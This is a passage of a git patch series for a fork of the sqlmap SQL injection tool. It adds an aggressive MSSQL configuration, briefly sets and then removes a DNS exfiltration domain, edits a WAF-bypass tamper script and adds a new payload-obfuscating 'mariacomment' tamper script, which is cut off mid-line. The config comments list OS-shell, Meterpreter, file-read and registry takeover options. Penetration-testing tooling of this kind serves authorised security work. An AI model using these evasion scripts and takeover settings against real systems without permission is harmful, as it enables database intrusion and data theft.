injection +# techniques. +[Techniques] + +# SQL injection techniques to use. +# Valid: a string composed by B, E, U, S, T and Q where: +# B: Boolean-based blind SQL injection +# E: Error-based SQL injection +# U: UNION query SQL injection +# S: Stacked queries SQL injection +# T: Time-based blind SQL injection +# Q: Inline SQL injection +# Example: ES (means test for error-based and stacked queries SQL +# injection types only) +# Default: BEUSTQ (means test for all SQL injection types - recommended) +tech = BEUSTQ + +# Seconds to delay the response from the DBMS. +# Valid: integer +# Default: 5 +timeSec = 3 + +# Range of columns to test for +# Valid: range of integers +# Example: 1-10 +uCols = + +# Character to use for bruteforcing number of columns +# Valid: string +# Example: NULL +uChar = + +# Table to use in FROM part of UNION query SQL injection +# Valid: string +# Example: INFORMATION_SCHEMA.COLLATIONS +uFrom = + +# Domain name used for DNS exfiltration attack +# Valid: string +dnsName = + +# Resulting page URL searched for second-order response +# Valid: string +secondOrder = + + +[Fingerprint] + +# Perform an extensive back-end database management system fingerprint +# based on various techniques. +# Valid: True or False +extensiveFp = False + + +# These options can be used to enumerate the back-end database +# management system information, structure and data contained in the +# tables. Moreover you can run your own SQL statements. +[Enumeration] + +# Retrieve everything +# Valid: True or False +getAll = False + +# Retrieve back-end database management system banner. +# Valid: True or False +getBanner = False + +# Retrieve back-end database management system current user. +# Valid: True or False +getCurrentUser = False + +# Retrieve back-end database management system current database. +# Valid: True or False +getCurrentDb = False + +# Retrieve back-end database management system server hostname. +# Valid: True or False +getHostname = False + +# Detect if the DBMS current user is DBA. +# Valid: True or False +isDba = False + +# Enumerate back-end database management system users. +# Valid: True or False +getUsers = False + +# Enumerate back-end database management system users password hashes. +# Valid: True or False +getPasswordHashes = False + +# Enumerate back-end database management system users privileges. +# Valid: True or False +getPrivileges = False + +# Enumerate back-end database management system users roles. +# Valid: True or False +getRoles = False + +# Enumerate back-end database management system databases. +# Valid: True or False +getDbs = False + +# Enumerate back-end database management system database tables. +# Optional: db +# Valid: True or False +getTables = False + +# Enumerate back-end database management system database table columns. +# Optional: db, tbl, col +# Valid: True or False +getColumns = False + +# Enumerate back-end database management system schema. +# Valid: True or False +getSchema = False + +# Retrieve number of entries for table(s). +# Valid: True or False +getCount = False + +# Dump back-end database management system database table entries. +# Requires: tbl and/or col +# Optional: db +# Valid: True or False +dumpTable = False + +# Dump all back-end database management system databases tables entries. +# Valid: True or False +dumpAll = False + +# Search column(s), table(s) and/or database name(s). +# Requires: db, tbl or col +# Valid: True or False +search = False + +# Retrieve back-end database management system comments. +# Valid: True or False +getComments = False + +# Back-end database management system database to enumerate. +db = + +# Back-end database management system database table(s) to enumerate. +tbl = + +# Back-end database management system database table column(s) to enumerate. +col = + +# Back-end database management system database table column(s) to not enumerate. +excludeCol = + +# Use WHERE condition while table dumping (e.g. "id=1"). +dumpWhere = + +# Back-end database management system database user to enumerate. +user = + +# Exclude DBMS system databases when enumerating tables. +# Valid: True or False +excludeSysDbs = True + +# First query output entry to retrieve +# Valid: integer +# Default: 0 (sqlmap will start to retrieve the query output entries from +# the first) +limitStart = 0 + +# Last query output entry to retrieve +# Valid: integer +# Default: 0 (sqlmap will detect the number of query output entries and +# retrieve them until the last) +limitStop = 0 + +# First query output word character to retrieve +# Valid: integer +# Default: 0 (sqlmap will enumerate the query output from the first +# character) +firstChar = 0 + +# Last query output word character to retrieve +# Valid: integer +# Default: 0 (sqlmap will enumerate the query output until the last +# character) +lastChar = 0 + +# SQL statement to be executed. +# Example: SELECT 'foo', 'bar' +query = + +# Prompt for an interactive SQL shell. +# Valid: True or False +sqlShell = False + +# Execute SQL statements from given file(s). +sqlFile = + + +# These options can be used to run brute force checks. +[Brute force] + +# Check existence of common tables. +# Valid: True or False +commonTables = False + +# Check existence of common columns. +# Valid: True or False +commonColumns = False + + +# These options can be used to create custom user-defined functions. +[User-defined function] + +# Inject custom user-defined functions +# Valid: True or False +udfInject = False + +# Local path of the shared library +shLib = + + +# These options can be used to access the back-end database management +# system underlying file system. +[File system] + +# Read a specific file from the back-end DBMS underlying file system. +# Examples: /etc/passwd or C:\boot.ini +rFile = + +# Write a local file to a specific path on the back-end DBMS underlying +# file system. +# Example: /tmp/sqlmap.txt or C:\WINNT\Temp\sqlmap.txt +wFile = + +# Back-end DBMS absolute filepath to write the file to. +dFile = + + +# These options can be used to access the back-end database management +# system underlying operating system. +[Takeover] + +# Execute an operating system command. +# Valid: operating system command +osCmd = + +# Prompt for an interactive operating system shell. +# Valid: True or False +osShell = False + +# Prompt for an out-of-band shell, Meterpreter or VNC. +# Valid: True or False +osPwn = False + +# One click prompt for an out-of-band shell, Meterpreter or VNC. +# Valid: True or False +osSmb = False + +# Microsoft SQL Server 2000 and 2005 'sp_replwritetovarbin' stored +# procedure heap-based buffer overflow (MS09-004) exploitation. +# Valid: True or False +osBof = False + +# Database process' user privilege escalation. +# Note: Use in conjunction with osPwn, osSmb or osBof. It will force the +# payload to be Meterpreter. +privEsc = False + +# Local path where Metasploit Framework is installed. +# Valid: file system path +msfPath = /usr/local/share/metasploit-framework + +# Remote absolute path of temporary files directory. +# Valid: absolute file system path +tmpPath = + + +# These options can be used to access the back-end database management +# system Windows registry. +[Windows] + +# Read a Windows registry key value. +# Valid: True or False +regRead = False + +# Write a Windows registry key value data. +# Valid: True or False +regAdd = False + +# Delete a Windows registry key value. +# Valid: True or False +regDel = False + +# Windows registry key. +regKey = + +# Windows registry key value. +regVal = + +# Windows registry key value data. +regData = + +# Windows registry key value type. +regType = + + +# These options can be used to set some general working parameters. +[General] + +# Load session from a stored (.sqlite) file +# Example: output/www.target.com/session.sqlite +sessionFile = + +# Log all HTTP traffic into a textual file. +trafficFile = + +# Never ask for user input, use the default behaviour. +# Valid: True or False +batch = True + +# Force character encoding used for data retrieval. +charset = + +# Crawl the website starting from the target URL. +# Valid: integer +# Default: 0 +crawlDepth = 0 + +# Regexp to exclude pages from crawling (e.g. "logout"). +crawlExclude = + +# Delimiting character used in CSV output. +# Default: , +csvDel = , + +# Format of dumped data +# Valid: CSV, HTML or SQLITE +dumpFormat = SQLITE + +# Retrieve each query output length and calculate the estimated time of +# arrival in real time. +# Valid: True or False +eta = False + +# Flush session files for current target. +# Valid: True or False +flushSession = False + +# Parse and test forms on target URL. +# Valid: True or False +forms = False + +# Ignore query results stored in session file. +# Valid: True or False +freshQueries = False + +# Use DBMS hex function(s) for data retrieval. +# Valid: True or False +hexConvert = False + +# Custom output directory path. +outputDir = + +# Parse and display DBMS error messages from responses. +# Valid: True or False +parseErrors = True + +# Pivot column name. +pivotColumn = + +# Regular expression for filtering targets from provided Burp. +# or WebScarab proxy log. +# Example: (google|yahoo) +scope = + +# Select tests by payloads and/or titles (e.g. ROW) +testFilter = + +# Update sqlmap. +# Valid: True or False +updateAll = False + + +[Miscellaneous] + +# Run host OS command(s) when SQL injection is found. +alert = + +# Set question answers (e.g. "quit=N,follow=N"). +answers = "target testing=y,sitemap=y,further processing=Y,temporary file=Y,password hashes=N,crack=N" + +# Make a beep sound when SQL injection is found. +# Valid: True or False +beep = True + +# Offline WAF/IPS/IDS payload detection testing. +# Valid: True or False +checkPayload = False + +# Clean up the DBMS from sqlmap specific UDF and tables. +# Valid: True or False +cleanup = False + +# Check for missing (non-core) sqlmap dependencies. +# Valid: True or False +dependencies = False + +# Disable console output coloring. +# Valid: True or False +disableColoring = False + +# Use Google dork results from specified page number. +# Valid: integer +# Default: 1 +googlePage = 1 + +# Make a thorough testing for a WAF/IPS/IDS protection. +# Valid: True or False +identifyWaf = True + +# Imitate smartphone through HTTP User-Agent header. +# Valid: True or False +mobile = False + +# Work in offline mode (only use session data) +# Valid: True or False +offline = False + +# Display page rank (PR) for Google dork results. +# Valid: True or False +pageRank = False + +# Conduct thorough tests only if positive heuristic(s). +# Valid: True or False +smart = False + +# Simple wizard interface for beginner users. +# Valid: True or False +wizard = False + +# Verbosity level. +# Valid: integer between 0 and 6 +# 0: Show only error and critical messages +# 1: Show also warning and info messages +# 2: Show also debug messages +# 3: Show also payloads injected +# 4: Show also HTTP requests +# 5: Show also HTTP responses' headers +# 6: Show also HTTP responses' page content +# Default: 1 +verbose = 1 From ef3795217d68ab55319ed5cbf6358836d1f80942 Mon Sep 17 00:00:00 2001 From: Dtrip Date: Mon, 13 Jul 2015 06:00:37 -0400 Subject: [PATCH 06/29] added mssql gdh conf --- sqlmap-mssql.conf | 783 ++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 783 insertions(+) create mode 100644 sqlmap-mssql.conf diff --git a/sqlmap-mssql.conf b/sqlmap-mssql.conf new file mode 100644 index 00000000000..73d45a61387 --- /dev/null +++ b/sqlmap-mssql.conf @@ -0,0 +1,783 @@ +# At least one of these options has to be specified to set the source to +# get target URLs from. +[Target] + +# Direct connection to the database. +# Examples: +# mysql://USER:PASSWORD@DBMS_IP:DBMS_PORT/DATABASE_NAME +# oracle://USER:PASSWORD@DBMS_IP:DBMS_PORT/DATABASE_SID +direct = + +# Target URL. +# Example: http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2 +url = + +# Parse targets from Burp or WebScarab logs +# Valid: Burp proxy (http://portswigger.net/suite/) requests log file path +# or WebScarab proxy (http://www.owasp.org/index.php/Category:OWASP_WebScarab_Project) +# 'conversations/' folder path +logFile = + +# Scan multiple targets enlisted in a given textual file +bulkFile = + +# Load HTTP request from a file +# Example (file content): POST /login.jsp HTTP/1.1\nHost: example.com\nUser-Agent: Mozilla/4.0\n\nuserid=joe&password=guessme +requestFile = + +# Rather than providing a target URL, let Google return target +# hosts as result of your Google dork expression. For a list of Google +# dorks see Johnny Long Google Hacking Database at +# http://johnny.ihackstuff.com/ghdb.php. +# Example: +ext:php +inurl:"&id=" +intext:"powered by " +googleDork = + +# Parse target(s) from remote sitemap(.xml) file. +# Example: http://192.168.1.121/sitemap.xml +sitemapUrl = + + +# These options can be used to specify how to connect to the target URL. +[Request] + +# Force usage of given HTTP method (e.g. PUT). +method = + +# Data string to be sent through POST. +data = + +# Character used for splitting parameter values. +paramDel = + +# HTTP Cookie header value. +cookie = + +# Character used for splitting cookie values. +cookieDel = + +# File containing cookies in Netscape/wget format. +loadCookies = + +# Ignore Set-Cookie header from response. +# Valid: True or False +dropSetCookie = False + +# HTTP User-Agent header value. Useful to fake the HTTP User-Agent header value +# at each HTTP request. +# sqlmap will also test for SQL injection on the HTTP User-Agent value. +agent = + +# Use randomly selected HTTP User-Agent header value. +# Valid: True or False +randomAgent = True + +# HTTP Host header value. +host = + +# HTTP Referer header. Useful to fake the HTTP Referer header value at +# each HTTP request. +referer = + +# Extra HTTP headers +headers = Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 + Accept-Language: en-us,en;q=0.5 + Accept-Charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7 + +# HTTP Authentication type. Useful only if the target URL requires +# HTTP Basic, Digest or NTLM authentication and you have such data. +# Valid: Basic, Digest, NTLM or PKI +authType = + +# HTTP authentication credentials. Useful only if the target URL requires +# HTTP Basic, Digest or NTLM authentication and you have such data. +# Syntax: username:password +authCred = + +# HTTP Authentication PEM private key. Useful only if the target URL requires +# PKI authentication and you have such data. +# Syntax: key_file +authPrivate = + +# Use a proxy to connect to the target URL. +# Syntax: (http|https|socks4|socks5)://address:port +proxy = + +# Proxy authentication credentials. Useful only if the proxy requires +# Basic or Digest authentication and you have such data. +# Syntax: username:password +proxyCred = + +# Load proxy list from a file +proxyFile = + +# Ignore system default proxy settings. +# Valid: True or False +ignoreProxy = False + +# Use Tor anonymity network. +# Valid: True or False +tor = False + +# Set Tor proxy port other than default. +# Valid: integer +# torPort = + +# Set Tor proxy type. +# Valid: HTTP, SOCKS4, SOCKS5 +torType = HTTP + +# Check to see if Tor is used properly. +# Valid: True or False +checkTor = False + +# Delay in seconds between each HTTP request. +# Valid: float +# Default: 0 +delay = 0 + +# Seconds to wait before timeout connection. +# Valid: float +# Default: 30 +timeout = 30 + +# Maximum number of retries when the HTTP connection timeouts. +# Valid: integer +# Default: 3 +retries = 3 + +# Randomly change value for the given parameter. +rParam = + +# URL address to visit frequently during testing. +# Example: http://192.168.1.121/index.html +safeUrl = + +# POST data to send to a safe URL. +# Example: username=admin&password=passw0rd! +safePost = + +# Load safe HTTP request from a file. +safeReqFile = + +# Test requests between two visits to a given safe URL (default 0). +# Valid: integer +# Default: 0 +safeFreq = 0 + +# Skip URL encoding of payload data +# Valid: True or False +skipUrlEncode = False + +# Parameter used to hold anti-CSRF token +csrfToken = + +# URL address to visit to extract anti-CSRF token +csrfUrl = + +# Force usage of SSL/HTTPS +# Valid: True or False +forceSSL = False + +# Use HTTP parameter pollution. +# Valid: True or False +hpp = False + +# Evaluate provided Python code before the request. +# Example: import hashlib;id2=hashlib.md5(id).hexdigest() +evalCode = + +# These options can be used to optimize the performance of sqlmap. +[Optimization] + +# Use all optimization options. +# Valid: True or False +optimize = True + +# Predict common queries output. +# Valid: True or False +predictOutput = False + +# Use persistent HTTP(s) connections. +keepAlive = True + +# Retrieve page length without actual HTTP response body. +# Valid: True or False +nullConnection = False + +# Maximum number of concurrent HTTP(s) requests (handled with Python threads) +# to be used in the inference SQL injection attack. +# Valid: integer +# Default: 1 +threads = 3 + + +# These options can be used to specify which parameters to test for, +# provide custom injection payloads and optional tampering scripts. +[Injection] + +# Testable parameter(s) comma separated. By default all GET/POST/Cookie +# parameters and HTTP User-Agent are tested by sqlmap. +testParameter = + +# Skip testing for given parameter(s). +skip = + +# Skip testing parameters that not appear dynamic. +# Valid: True or False +skipStatic = False + +# Force back-end DBMS to this value. If this option is set, the back-end +# DBMS identification process will be minimized as needed. +# If not set, sqlmap will detect back-end DBMS automatically by default. +# Valid: mssql, mysql, mysql 4, mysql 5, oracle, pgsql, sqlite, sqlite3, +# access, firebird, maxdb, sybase +dbms = mssql + +# DBMS authentication credentials (user:password). Useful if you want to +# run SQL statements as another user, the back-end database management +# system is PostgreSQL or Microsoft SQL Server and the parameter is +# vulnerable by stacked queries SQL injection or you are connecting directly +# to the DBMS (-d switch). +# Syntax: username:password +dbmsCred = + +# Force back-end DBMS operating system to this value. If this option is +# set, the back-end DBMS identification process will be minimized as +# needed. +# If not set, sqlmap will detect back-end DBMS operating system +# automatically by default. +# Valid: linux, windows +os = + +# Use big numbers for invalidating values. +# Valid: True or False +invalidBignum = False + +# Use logical operations for invalidating values. +# Valid: True or False +invalidLogical = False + +# Use random strings for invalidating values. +# Valid: True or False +invalidString = False + +# Turn off payload casting mechanism +# Valid: True or False +noCast = False + +# Turn off string escaping mechanism +# Valid: True or False +noEscape = False + +# Injection payload prefix string. +prefix = + +# Injection payload suffix string. +suffix = + +# Use given script(s) for tampering injection data. +tamper = xforwardedfor,space2comment + + +# These options can be used to specify how to parse and compare page +# content from HTTP responses when using blind SQL injection technique. +[Detection] + +# Level of tests to perform. +# The higher the value is, the higher the number of HTTP(s) requests are +# as well as the better chances to detect a tricky SQL injection. +# Valid: Integer between 1 and 5 +# Default: 1 +level = 1 + +# Risk of tests to perform. +# Note: boolean-based blind SQL injection tests with AND are considered +# risk 1, with OR are considered risk 3. +# Valid: Integer between 1 and 3 +# Default: 1 +risk = 3 + +# String to match within the raw response when the query is evaluated to +# True, only needed if the page content dynamically changes at each refresh. +# Refer to the user's manual for further details. +string = + +# String to match within the raw response when the query is evaluated to +# False, only needed if the page content dynamically changes at each refresh. +# Refer to the user's manual for further details. +notString = + +# Regular expression to match within the raw response when the query is +# evaluated to True, only needed if the needed if the page content +# dynamically changes at each refresh. +# Refer to the user's manual for further details. +# Valid: regular expression with Python syntax +# (http://www.python.org/doc/2.5.2/lib/re-syntax.html) +regexp = + +# HTTP response code to match when the query is True. +# Valid: Integer +# Example: 200 (assuming any False statement returns a different response +# code) +# code = + +# Compare pages based only on the textual content. +# Valid: True or False +textOnly = False + +# Compare pages based only on their titles. +# Valid: True or False +titles = False + + +# These options can be used to tweak testing of specific SQL injection +# techniques. +[Techniques] + +# SQL injection techniques to use. +# Valid: a string composed by B, E, U, S, T and Q where: +# B: Boolean-based blind SQL injection +# E: Error-based SQL injection +# U: UNION query SQL injection +# S: Stacked queries SQL injection +# T: Time-based blind SQL injection +# Q: Inline SQL injection +# Example: ES (means test for error-based and stacked queries SQL +# injection types only) +# Default: BEUSTQ (means test for all SQL injection types - recommended) +tech = BEUSTQ + +# Seconds to delay the response from the DBMS. +# Valid: integer +# Default: 5 +timeSec = 3 + +# Range of columns to test for +# Valid: range of integers +# Example: 1-10 +uCols = + +# Character to use for bruteforcing number of columns +# Valid: string +# Example: NULL +uChar = + +# Table to use in FROM part of UNION query SQL injection +# Valid: string +# Example: INFORMATION_SCHEMA.COLLATIONS +uFrom = + +# Domain name used for DNS exfiltration attack +# Valid: string +dnsName = + +# Resulting page URL searched for second-order response +# Valid: string +secondOrder = + + +[Fingerprint] + +# Perform an extensive back-end database management system fingerprint +# based on various techniques. +# Valid: True or False +extensiveFp = False + + +# These options can be used to enumerate the back-end database +# management system information, structure and data contained in the +# tables. Moreover you can run your own SQL statements. +[Enumeration] + +# Retrieve everything +# Valid: True or False +getAll = False + +# Retrieve back-end database management system banner. +# Valid: True or False +getBanner = False + +# Retrieve back-end database management system current user. +# Valid: True or False +getCurrentUser = False + +# Retrieve back-end database management system current database. +# Valid: True or False +getCurrentDb = False + +# Retrieve back-end database management system server hostname. +# Valid: True or False +getHostname = False + +# Detect if the DBMS current user is DBA. +# Valid: True or False +isDba = False + +# Enumerate back-end database management system users. +# Valid: True or False +getUsers = False + +# Enumerate back-end database management system users password hashes. +# Valid: True or False +getPasswordHashes = False + +# Enumerate back-end database management system users privileges. +# Valid: True or False +getPrivileges = False + +# Enumerate back-end database management system users roles. +# Valid: True or False +getRoles = False + +# Enumerate back-end database management system databases. +# Valid: True or False +getDbs = False + +# Enumerate back-end database management system database tables. +# Optional: db +# Valid: True or False +getTables = False + +# Enumerate back-end database management system database table columns. +# Optional: db, tbl, col +# Valid: True or False +getColumns = False + +# Enumerate back-end database management system schema. +# Valid: True or False +getSchema = False + +# Retrieve number of entries for table(s). +# Valid: True or False +getCount = False + +# Dump back-end database management system database table entries. +# Requires: tbl and/or col +# Optional: db +# Valid: True or False +dumpTable = False + +# Dump all back-end database management system databases tables entries. +# Valid: True or False +dumpAll = False + +# Search column(s), table(s) and/or database name(s). +# Requires: db, tbl or col +# Valid: True or False +search = False + +# Retrieve back-end database management system comments. +# Valid: True or False +getComments = False + +# Back-end database management system database to enumerate. +db = + +# Back-end database management system database table(s) to enumerate. +tbl = + +# Back-end database management system database table column(s) to enumerate. +col = + +# Back-end database management system database table column(s) to not enumerate. +excludeCol = + +# Use WHERE condition while table dumping (e.g. "id=1"). +dumpWhere = + +# Back-end database management system database user to enumerate. +user = + +# Exclude DBMS system databases when enumerating tables. +# Valid: True or False +excludeSysDbs = True + +# First query output entry to retrieve +# Valid: integer +# Default: 0 (sqlmap will start to retrieve the query output entries from +# the first) +limitStart = 0 + +# Last query output entry to retrieve +# Valid: integer +# Default: 0 (sqlmap will detect the number of query output entries and +# retrieve them until the last) +limitStop = 0 + +# First query output word character to retrieve +# Valid: integer +# Default: 0 (sqlmap will enumerate the query output from the first +# character) +firstChar = 0 + +# Last query output word character to retrieve +# Valid: integer +# Default: 0 (sqlmap will enumerate the query output until the last +# character) +lastChar = 0 + +# SQL statement to be executed. +# Example: SELECT 'foo', 'bar' +query = + +# Prompt for an interactive SQL shell. +# Valid: True or False +sqlShell = False + +# Execute SQL statements from given file(s). +sqlFile = + + +# These options can be used to run brute force checks. +[Brute force] + +# Check existence of common tables. +# Valid: True or False +commonTables = False + +# Check existence of common columns. +# Valid: True or False +commonColumns = False + + +# These options can be used to create custom user-defined functions. +[User-defined function] + +# Inject custom user-defined functions +# Valid: True or False +udfInject = False + +# Local path of the shared library +shLib = + + +# These options can be used to access the back-end database management +# system underlying file system. +[File system] + +# Read a specific file from the back-end DBMS underlying file system. +# Examples: /etc/passwd or C:\boot.ini +rFile = + +# Write a local file to a specific path on the back-end DBMS underlying +# file system. +# Example: /tmp/sqlmap.txt or C:\WINNT\Temp\sqlmap.txt +wFile = + +# Back-end DBMS absolute filepath to write the file to. +dFile = + + +# These options can be used to access the back-end database management +# system underlying operating system. +[Takeover] + +# Execute an operating system command. +# Valid: operating system command +osCmd = + +# Prompt for an interactive operating system shell. +# Valid: True or False +osShell = False + +# Prompt for an out-of-band shell, Meterpreter or VNC. +# Valid: True or False +osPwn = False + +# One click prompt for an out-of-band shell, Meterpreter or VNC. +# Valid: True or False +osSmb = False + +# Microsoft SQL Server 2000 and 2005 'sp_replwritetovarbin' stored +# procedure heap-based buffer overflow (MS09-004) exploitation. +# Valid: True or False +osBof = False + +# Database process' user privilege escalation. +# Note: Use in conjunction with osPwn, osSmb or osBof. It will force the +# payload to be Meterpreter. +privEsc = False + +# Local path where Metasploit Framework is installed. +# Valid: file system path +msfPath = /usr/local/share/metasploit-framework + +# Remote absolute path of temporary files directory. +# Valid: absolute file system path +tmpPath = + + +# These options can be used to access the back-end database management +# system Windows registry. +[Windows] + +# Read a Windows registry key value. +# Valid: True or False +regRead = False + +# Write a Windows registry key value data. +# Valid: True or False +regAdd = False + +# Delete a Windows registry key value. +# Valid: True or False +regDel = False + +# Windows registry key. +regKey = + +# Windows registry key value. +regVal = + +# Windows registry key value data. +regData = + +# Windows registry key value type. +regType = + + +# These options can be used to set some general working parameters. +[General] + +# Load session from a stored (.sqlite) file +# Example: output/www.target.com/session.sqlite +sessionFile = + +# Log all HTTP traffic into a textual file. +trafficFile = + +# Never ask for user input, use the default behaviour. +# Valid: True or False +batch = True + +# Force character encoding used for data retrieval. +charset = + +# Crawl the website starting from the target URL. +# Valid: integer +# Default: 0 +crawlDepth = 0 + +# Regexp to exclude pages from crawling (e.g. "logout"). +crawlExclude = + +# Delimiting character used in CSV output. +# Default: , +csvDel = , + +# Format of dumped data +# Valid: CSV, HTML or SQLITE +dumpFormat = SQLITE + +# Retrieve each query output length and calculate the estimated time of +# arrival in real time. +# Valid: True or False +eta = False + +# Flush session files for current target. +# Valid: True or False +flushSession = False + +# Parse and test forms on target URL. +# Valid: True or False +forms = False + +# Ignore query results stored in session file. +# Valid: True or False +freshQueries = False + +# Use DBMS hex function(s) for data retrieval. +# Valid: True or False +hexConvert = False + +# Custom output directory path. +outputDir = + +# Parse and display DBMS error messages from responses. +# Valid: True or False +parseErrors = True + +# Pivot column name. +pivotColumn = + +# Regular expression for filtering targets from provided Burp. +# or WebScarab proxy log. +# Example: (google|yahoo) +scope = + +# Select tests by payloads and/or titles (e.g. ROW) +testFilter = + +# Update sqlmap. +# Valid: True or False +updateAll = False + + +[Miscellaneous] + +# Run host OS command(s) when SQL injection is found. +alert = + +# Set question answers (e.g. "quit=N,follow=N"). +answers = "target testing=y,sitemap=y,further processing=Y,temporary file=Y,password hashes=N,crack=N" + +# Make a beep sound when SQL injection is found. +# Valid: True or False +beep = True + +# Offline WAF/IPS/IDS payload detection testing. +# Valid: True or False +checkPayload = False + +# Clean up the DBMS from sqlmap specific UDF and tables. +# Valid: True or False +cleanup = False + +# Check for missing (non-core) sqlmap dependencies. +# Valid: True or False +dependencies = False + +# Disable console output coloring. +# Valid: True or False +disableColoring = False + +# Use Google dork results from specified page number. +# Valid: integer +# Default: 1 +googlePage = 1 + +# Make a thorough testing for a WAF/IPS/IDS protection. +# Valid: True or False +identifyWaf = True + +# Imitate smartphone through HTTP User-Agent header. +# Valid: True or False +mobile = False + +# Work in offline mode (only use session data) +# Valid: True or False +offline = False + +# Display page rank (PR) for Google dork results. +# Valid: True or False +pageRank = False + +# Conduct thorough tests only if positive heuristic(s). +# Valid: True or False +smart = False + +# Simple wizard interface for beginner users. +# Valid: True or False +wizard = False + +# Verbosity level. +# Valid: integer between 0 and 6 +# 0: Show only error and critical messages +# 1: Show also warning and info messages +# 2: Show also debug messages +# 3: Show also payloads injected +# 4: Show also HTTP requests +# 5: Show also HTTP responses' headers +# 6: Show also HTTP responses' page content +# Default: 1 +verbose = 1 From 7ebf6eec2f374d8cbebb12783b471b32e4bf4002 Mon Sep 17 00:00:00 2001 From: Dtrip Date: Sat, 18 Jul 2015 16:17:25 -0700 Subject: [PATCH 07/29] updated incapsula waf concept --- tamper/incapsula.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/tamper/incapsula.py b/tamper/incapsula.py index 22c0ff305eb..5e7d07decb6 100644 --- a/tamper/incapsula.py +++ b/tamper/incapsula.py @@ -25,4 +25,4 @@ def tamper(payload, **kwargs): 'cat \/etc\/passwd' """ - return payload.replace("/", "\/") + return payload.replace(" ", "%20") From 93c0f272ec71c87ba213f2b3297f9cdc2fdbd601 Mon Sep 17 00:00:00 2001 From: Dtrip Date: Fri, 31 Jul 2015 02:43:12 -0700 Subject: [PATCH 08/29] updates to conf --- sqlmap.conf | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/sqlmap.conf b/sqlmap.conf index 79230852c3b..5dd8f356001 100644 --- a/sqlmap.conf +++ b/sqlmap.conf @@ -276,7 +276,7 @@ prefix = suffix = # Use given script(s) for tampering injection data. -tamper = +tamper = xforwardedfor # These options can be used to specify how to parse and compare page @@ -295,7 +295,7 @@ level = 1 # risk 1, with OR are considered risk 3. # Valid: Integer between 1 and 3 # Default: 1 -risk = 1 +risk = 3 # String to match within the raw response when the query is evaluated to # True, only needed if the page content dynamically changes at each refresh. @@ -369,7 +369,7 @@ uFrom = # Domain name used for DNS exfiltration attack # Valid: string -dnsName = +dnsName = h1.nrx.co # Resulting page URL searched for second-order response # Valid: string @@ -644,7 +644,7 @@ regType = sessionFile = # Log all HTTP traffic into a textual file. -trafficFile = +trafficFile = /tmp/sqlmap-traffic.txt # Never ask for user input, use the default behaviour. # Valid: True or False @@ -672,7 +672,7 @@ dumpFormat = SQLITE # Retrieve each query output length and calculate the estimated time of # arrival in real time. # Valid: True or False -eta = False +eta = True # Flush session files for current target. # Valid: True or False From 04f6aaa6649f7e92c09fb19f0f2dda6931a35dc2 Mon Sep 17 00:00:00 2001 From: Dtrip Date: Fri, 31 Jul 2015 02:45:35 -0700 Subject: [PATCH 09/29] whoops --- sqlmap.conf | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/sqlmap.conf b/sqlmap.conf index 5dd8f356001..88e06b59367 100644 --- a/sqlmap.conf +++ b/sqlmap.conf @@ -369,7 +369,7 @@ uFrom = # Domain name used for DNS exfiltration attack # Valid: string -dnsName = h1.nrx.co +dnsName = o # Resulting page URL searched for second-order response # Valid: string From 191600e3414eb2288f4c2ec9d6804bba83c50f02 Mon Sep 17 00:00:00 2001 From: Dtrip Date: Fri, 31 Jul 2015 02:48:21 -0700 Subject: [PATCH 10/29] whoops --- sqlmap.conf | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/sqlmap.conf b/sqlmap.conf index 88e06b59367..bae79a8b5e4 100644 --- a/sqlmap.conf +++ b/sqlmap.conf @@ -369,7 +369,7 @@ uFrom = # Domain name used for DNS exfiltration attack # Valid: string -dnsName = o +dnsName = # Resulting page URL searched for second-order response # Valid: string From def34147ab3a997d0ee24701d7bf049a9d2f1b32 Mon Sep 17 00:00:00 2001 From: Dtrip Date: Tue, 4 Aug 2015 02:27:29 -0700 Subject: [PATCH 11/29] updates --- sqlmap.conf | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/sqlmap.conf b/sqlmap.conf index bae79a8b5e4..ec458c54930 100644 --- a/sqlmap.conf +++ b/sqlmap.conf @@ -672,7 +672,7 @@ dumpFormat = SQLITE # Retrieve each query output length and calculate the estimated time of # arrival in real time. # Valid: True or False -eta = True +eta = False # Flush session files for current target. # Valid: True or False From 16a45d525195659e75bb97098673c56daa149bb6 Mon Sep 17 00:00:00 2001 From: Dtrip Date: Fri, 7 Aug 2015 00:39:18 -0700 Subject: [PATCH 12/29] updates to conf --- sqlmap.conf | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/sqlmap.conf b/sqlmap.conf index ec458c54930..c9250014711 100644 --- a/sqlmap.conf +++ b/sqlmap.conf @@ -644,7 +644,7 @@ regType = sessionFile = # Log all HTTP traffic into a textual file. -trafficFile = /tmp/sqlmap-traffic.txt +trafficFile = # Never ask for user input, use the default behaviour. # Valid: True or False From c232996ae307f9d2f7126279e68dd5f7a4b84a31 Mon Sep 17 00:00:00 2001 From: Dtrip Date: Sun, 6 Sep 2015 10:54:08 -0700 Subject: [PATCH 13/29] testing new tamper --- tamper/mariacomment.py | 47 ++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 47 insertions(+) create mode 100644 tamper/mariacomment.py diff --git a/tamper/mariacomment.py b/tamper/mariacomment.py new file mode 100644 index 00000000000..7000ad78468 --- /dev/null +++ b/tamper/mariacomment.py @@ -0,0 +1,47 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) +See the file 'doc/COPYING' for copying permission +""" + +from lib.core.common import randomInt +from lib.core.enums import PRIORITY + +__priority__ = PRIORITY.HIGHER + +def dependencies(): + pass + +def tamper(payload, **kwargs): + """ + Embraces complete query in executable comment + + Requirement: + * Maria DB + + Tested against: + * Maria DB 5.5.5 + + Notes: + * Useful for exploiting Maria DB perhaps? + + >>> import random + >>> random.seed(0) + >>> tamper('1 AND 2>1--') + '1 /*M!30874AND 2>1*/--' + """ + + retVal = payload + + if payload: + postfix = '' + for comment in ('#', '--', '/*'): + if comment in payload: + postfix = payload[payload.find(comment):] + payload = payload[:payload.find(comment)] + break + if ' ' in payload: + retVal = "%s /*M!30%s%s*/%s" % (payload[:payload.find(' ')], randomInt(3), 